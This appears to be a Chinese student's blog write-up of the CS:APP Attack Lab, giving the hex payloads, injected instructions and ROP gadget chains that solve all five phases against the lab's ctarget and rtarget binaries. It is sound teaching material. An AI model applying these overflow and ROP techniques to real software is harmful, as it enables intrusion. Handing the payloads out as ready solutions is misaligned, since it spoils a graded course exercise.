个人感觉非常有意思的一个 Lab，涉及的知识面比较窄，主要关注 缓冲区溢出漏洞 这一个方面，并基于此进行代码攻击，体验一把做黑客的感觉，对应知识点为书中的 3.10 节内容。

这个 Lab 上手便给了我当头一棒，在环境配置上琢磨了好一阵。直接运行 ./ctarget -q ，程序没有让进行输入，而是直接触发了段错误，后来尝试在跑在学校的 Linux 服务器上得以正常运行，原因不明，推测是 WSL 的锅？？

phase_1

在倒腾好环境之后，终于可以开始着手完成实验了。

phase_1 要求我们在调用 getbuf 读取标准输入后，不返回到 test 函数接着执行 printf，而是转而执行 touch1.

1
2
3
4
5
6
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

可以利用书中 3.10.3 节提到的知识，向缓冲区中写入过量的数据，大到足以覆盖掉调用 getbuf 时压入栈中的返回地址，将其修改为我们想要跳转执行的程序的起始地址，即可达成目的。

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

观察上述函数 getbuf 的汇编代码，从第一条指令 sub $0x28,%rsp，可以看到函数 getbuf 的栈帧大小为 40 字节。因此要对返回地址进行写入修改，我们可以先写入 40 字节的任意数据，然后再写入 8 字节的目标地址。

这里的“任意”并非真的任意，因为最终的输入是通过字符串的形式来完成的，因此有些特定的字符可能会导致异常，例如 ‘\n’（对应 ASCII 码为 0x0a），这里我选用的 0x3f（向灵神致敬😄）。

最终的攻击数据如下所示：

1
2
3
4
5
6
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
c0 17 40 00 00 00 00 00  // 目标地址

可以借助 hex2raw 工具将 16 进制转换为对应的字符串，再管道给 ctarget 即可。

1
cat phase_1.txt | ./hex2raw | ./ctarget -q

phase_2

phase_2 相较于相较于 phase_1，由于要验证参数的正确性，因此只是跳转到目标程序位置还不够，还需要设置参数的值。但原始程序中并没有相关的代码，那参数的值应该如何设置？

这里必须要有一个理念：站在存储的角度，程序与数据并没有区别，它们都是由 0 和 1 组成的比特流。因此，设置参数的代码我们可以自行编写，将其当作数据进行传入，这样的操作称之为 代码注入(code injection) 。最后将我们编写的程序的地址作为返回地址，这样，当程序从 getbuf 返回时，就会跳转到我们先前注入的代码，从而达成目的。

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

一种有效的注入代码完成的操作如下：

  1. 写入寄存器 %rdi 的值，使其等于 cookie.
  2. 跳转到程序 touch2 处。

关于跳转，实验手册中推荐使用 ret 指令，它可看作是两个步骤的综合：首先从栈中弹出地址 A，然后将 PC 值设置为 A。因此想要跳转到 touch2，可以先使用 push 将 touch2 的地址压入栈中，然后使用 ret 实现跳转。

对于指令的二进制表示，可以先编译： gcc -c ./injec.s，再反汇编：objdump -d ./injec.o 得到。

1
2
3
4
5
6
7
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 8b 3c 25 e4 44 60    mov    0x6044e4,%rdi
   7:   00 
   8:   68 ec 17 40 00          pushq  $0x4017ec
   d:   c3                      retq

另外，要想跳转到注入代码的位置，我们必须首先知道它的地址，由于 ctarget 没有使用 栈随机化（stack randomization） ，因此我们完全可以先借助 GDB 打印出调用 Gets 前的栈指针值，再根据注入代码相较于栈指针的偏移计算得到。

最终的攻击数据如下所示：

1
2
3
4
5
6
48 8b 3c 25 e4 44 60 00
68 ec 17 40 00 c3 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00

最后，想吐槽一点，Attack Lab 貌似没法 GDB 调试 getbuf ？没了调试，在一些简单的错误上面卡半天。。。

phase_3

phase_3 和 phase_2 很类似，只不过参数由整数换成了字符串，不过思路都是大抵相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
    	printf("Touch3!: You called touch3(\"%s\")\n", sval);
    	validate(3);
    } else {
    	printf("Misfire: You called touch3(\"%s\")\n", sval);
    	fail(3);
    }
    exit(0);
}

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

字符串相较于整数，无外乎多了一层 indirection ，也就是指针。我们只需要预先在某个地址 addr 处将字符串数据进行存储，后续将字符串参数设置为 addr 即可，同样，addr 的值可根据相对于栈的偏移量得到。

注入的代码如下：

1
2
3
4
5
6
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 88 dc 61 55    mov    $0x5561dc88,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

而字符串 "59b997fa" 的 ASCII 码表示为：35 39 62 39 39 37 66 61 00，最后的 00 表示 NULL，即 C 语言字符串的终结符。

这里我遇到了一点问题，这是错误的攻击数据：

1
2
3
4
5
6
48 c7 c7 88 dc 61 55 68
fa 18 40 00 c3 00 00 00 
35 39 62 39 39 37 66 61
00 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00

上面的答案看似没有问题，但是实际上忽略了很重要的一点，字符串的值存放在 getbuf 的栈帧中（0x5561dc78 ~ 0x5561dc98），在完成字符串正确性检验之前，字符串的值都应该 保持不变 。而实际上在函数 getbuf 返回后，它的栈帧空间将会被回收，留给 touch3 和 hexmatch 分配使用，且观察反汇编代码发现分配给 hexmatch 的栈帧空间大于 40 字节，这必然导致 getbuf 栈帧数据被破坏，也就导致了错误。

一种正确的方式是将字符串数据写入 test 栈帧或更高地址处，因为实验只要求成功触发 touch，而并不要求正确返回到之前的调用过程，因此破坏之前的栈帧对结果无影响。

1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

phase_4

后面的两个实验需要攻击程序是 rtarget，相较于 ctarget，它引入了很多安全措施，例如栈随机化、限制可执行代码区域等，因此攻击起来更为困难。

参考实验手册，其中介绍了一种很有意思的攻击方法：不手动注入代码，而是借助已存在的代码，将其重组为我们需要的攻击代码。其中，一个以 ret 指令结束的指令序列，称之为一个 gadget，一连串的 gadget 被调用将会产生等价于代码注入的效果。

想法很美好，但是实施起来的过程还是比较痛苦的，要想组合出有效的 gadget，需要仔细对照指令的字节表示和 farm 的反汇编代码，这部分我也是大量 抄袭了 参考了其他人的做法。

一种正确的 gadget 组合如下：

1
2
3
4
5
6
7
8
9
10
11
# gadget1
00000000004019ab <addval_219 + 4>:
58  pop %rax
90  nop
c3  ret

# gadget2
00000000004019c5 <setval_426 + 2>:
48 89 c7  movq %rax,%rdi
90        nop
c3		  ret

返回地址为 0x4019ab，即 gadget1 的起始地址，然后栈中从低到高依次存放：cookie 的值、gadget2 的起始地址、touch2 的起始地址。

这里要注意出栈是从低地址向高地址方向，与入栈相反。

最终的攻击数据如下：

1
2
3
4
5
6
7
8
9
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

phase_5

最后 phase_5 的 gadget 构造非常复杂（官解是用了 8 个），在 CMU 的实验中也是属于选做的部分，完成前四个已经有 95 分了，因此这里也只介绍一些问题和思路。

前面提到，rtarget 引入了栈随机化，这会带来的问题是：在指定参数 sval 时，无法显式地指定地址，而需要依靠间接寻址，即栈指针 %rsp 加上一个相较于它的偏移量。我们可以先确定哪条指令根据栈指针的值计算字符串参数，记录下它的位置和字符串存放位置的偏移量，作为数据一并存入栈中，后续再取出进行计算。

以下是一种正确的 gadget 实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# gadget1
00000000004019ab <addval_219 + 4>:
58  pop %rax
90  nop
c3  ret

# gadget2
00000000004019dd <getval_481 + 2>:
89 c2   movl %eax,%edx
90		nop
c3		ret

# gadget3
0000000000401a69 <getval_481 + 1>:
89 d1   movl %edx,%ecx
08 db	orb  %bl,%bl
c3		ret

# gadget4
0000000000401a13 <addval_436 + 2>:
89 ce   movl %ecx,%esi
90		nop
90		nop
c3		ret

# gadget5
0000000000401aad <setval_350 + 2>:
48 89 e0  movq %rsp,%rax
90		  nop
c3		  ret

# gadget6
00000000004019a2 <addval_273 + 2>:
48 89 c7  movq %rax,%rdi
c3		  ret

# gadget7
00000000004019d6 <add_xy>:
48 8d 04 37  lea  (%rdi,%rsi,1),%rax
c3			 ret

# gadget8
00000000004019a2 <addval_273 + 2>:
48 89 c7  movq %rax,%rdi
c3		  ret

攻击数据的构造和 phase_4 很类似，就不过多赘述了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00